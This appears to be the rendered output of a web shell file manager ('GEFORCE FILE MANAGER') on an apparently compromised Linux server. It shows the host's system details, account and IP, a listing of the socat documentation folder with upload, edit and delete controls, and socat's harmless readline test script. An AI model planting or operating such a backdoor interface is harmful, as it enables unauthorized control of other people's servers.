[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.20
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
share
/
doc
/
socat
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 BUGREPORTS
746 B
SET
[ EDIT ]
|
[ DEL ]
📄 CHANGES
69,181 B
SET
[ EDIT ]
|
[ DEL ]
📄 COPYING
18,092 B
SET
[ EDIT ]
|
[ DEL ]
📄 COPYING.OpenSSL
6,279 B
SET
[ EDIT ]
|
[ DEL ]
📄 DEVELOPMENT
9,210 B
SET
[ EDIT ]
|
[ DEL ]
📄 EXAMPLES
17,419 B
SET
[ EDIT ]
|
[ DEL ]
📄 FAQ
3,841 B
SET
[ EDIT ]
|
[ DEL ]
📄 PORTING
3,095 B
SET
[ EDIT ]
|
[ DEL ]
📄 README
11,744 B
SET
[ EDIT ]
|
[ DEL ]
📄 SECURITY
1,849 B
SET
[ EDIT ]
|
[ DEL ]
📄 daemon.sh
903 B
SET
[ EDIT ]
|
[ DEL ]
📄 ftp.sh
4,218 B
SET
[ EDIT ]
|
[ DEL ]
📄 gatherinfo.sh
4,122 B
SET
[ EDIT ]
|
[ DEL ]
📄 mail.sh
2,066 B
SET
[ EDIT ]
|
[ DEL ]
📄 proxy.sh
2,037 B
SET
[ EDIT ]
|
[ DEL ]
📄 proxyecho.sh
1,226 B
SET
[ EDIT ]
|
[ DEL ]
📄 readline-test.sh
1,286 B
SET
[ EDIT ]
|
[ DEL ]
📄 readline.sh
764 B
SET
[ EDIT ]
|
[ DEL ]
📄 socat_buildscript_for_android.sh
3,579 B
SET
[ EDIT ]
|
[ DEL ]
📄 socks4a-echo.sh
2,581 B
SET
[ EDIT ]
|
[ DEL ]
📄 socks4echo.sh
2,367 B
SET
[ EDIT ]
|
[ DEL ]
📄 test.sh
467,276 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: readline-test.sh
#! /usr/bin/env bash # source: readline-test.sh # Copyright Gerhard Rieger and contributors (see file CHANGES) # Published under the GNU General Public License V.2, see file COPYING # script that simulates a simple program with authentication. # is just for testing the readline features # perform the test with something like: # ./socat readline,history=$HOME/.history,noecho='^Password: ' system:./readline-test.sh,pty,setsid,ctty,stderr,sigint,sigquit,echo=0,raw BANNER='readline feature test program' USERPROMPT='Authentication required\nUsername: ' PWDPROMPT='Password: ' PROMPT='prog> ' # degenerated user database CREDUSER="user" CREDPASS="password" if [ $(echo "x\c") = "x" ]; then ECHO="echo" elif [ $(echo -e "x\c") = "x" ]; then ECHO="echo -e" fi #trap "$ECHO $0 got SIGINT" INT trap "$ECHO $0 got SIGINT" INT trap "$ECHO $0 got SIGQUIT" QUIT # print banner $ECHO "$BANNER" # on (some) ksh read -p does not mean prompt $ECHO "$USERPROMPT\c"; read -r USERNAME $ECHO "$PWDPROMPT\c"; read -rs PASSWORD $ECHO if [ "$USERNAME" != "$CREDUSER" -o "$PASSWORD" != "$CREDPASS" ]; then $ECHO "Authentication failed" >&2 exit -1 fi while $ECHO "$PROMPT\c"; read -r COMMAND; do if [ "$COMMAND" = "exit" ]; then break; fi $ECHO "executing $COMMAND" done